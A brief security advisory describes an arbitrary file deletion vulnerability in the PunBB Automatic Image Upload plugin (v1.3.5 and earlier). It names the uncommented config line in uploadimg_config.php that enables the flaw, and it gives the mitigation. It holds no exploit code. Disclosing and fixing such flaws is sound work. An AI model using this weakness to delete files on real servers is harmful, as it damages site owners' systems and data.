PunBB Automatic Image Upload <= v1.3.5 Delete Arbitrary File Vulnerability

This vulnerability allows an attacker to delete arbitrary files from the server if the '$Allow_Delete[] = "[USERGROUP]";' is not commented in "uploadimg_config.php" [FIND LINE: 75]. An attacker can use a malicious script to login to the server and delete any file from the server.

Mitigation:

Comment the '$Allow_Delete[] = "[USERGROUP]";' in "uploadimg_config.php" [FIND LINE: 75] to prevent arbitrary file deletion.
